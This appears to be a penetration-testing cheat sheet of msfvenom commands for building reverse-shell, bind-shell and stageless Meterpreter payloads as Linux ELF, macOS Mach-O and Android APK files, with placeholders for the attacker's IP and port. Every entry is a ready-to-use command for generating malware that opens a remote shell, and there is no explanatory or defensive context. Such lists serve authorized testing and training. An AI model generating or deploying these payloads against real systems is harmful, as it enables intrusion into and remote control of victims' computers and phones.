Linux / macOS / Android Payloads

Linux

Reverse TCP β€” x64 ELF

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f elf > shell.elf
chmod +x shell.elf

Reverse TCP β€” x86 ELF

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f elf > shell.elf

Bind shell β€” x64

msfvenom -p linux/x64/shell_bind_tcp LPORT=<port> -f elf > bind.elf

Stageless β€” x64

msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=<ip> LPORT=<port> -f elf > stageless.elf

macOS

Reverse TCP β€” x86 Mach-O

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f macho > shell.macho

Reverse TCP β€” x64

msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=<ip> LPORT=<port> -f macho > shell.macho

Android

APK reverse shell

msfvenom -p android/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> R > shell.apk

Stageless APK

msfvenom -p android/meterpreter_reverse_tcp LHOST=<ip> LPORT=<port> -f raw > shell.apk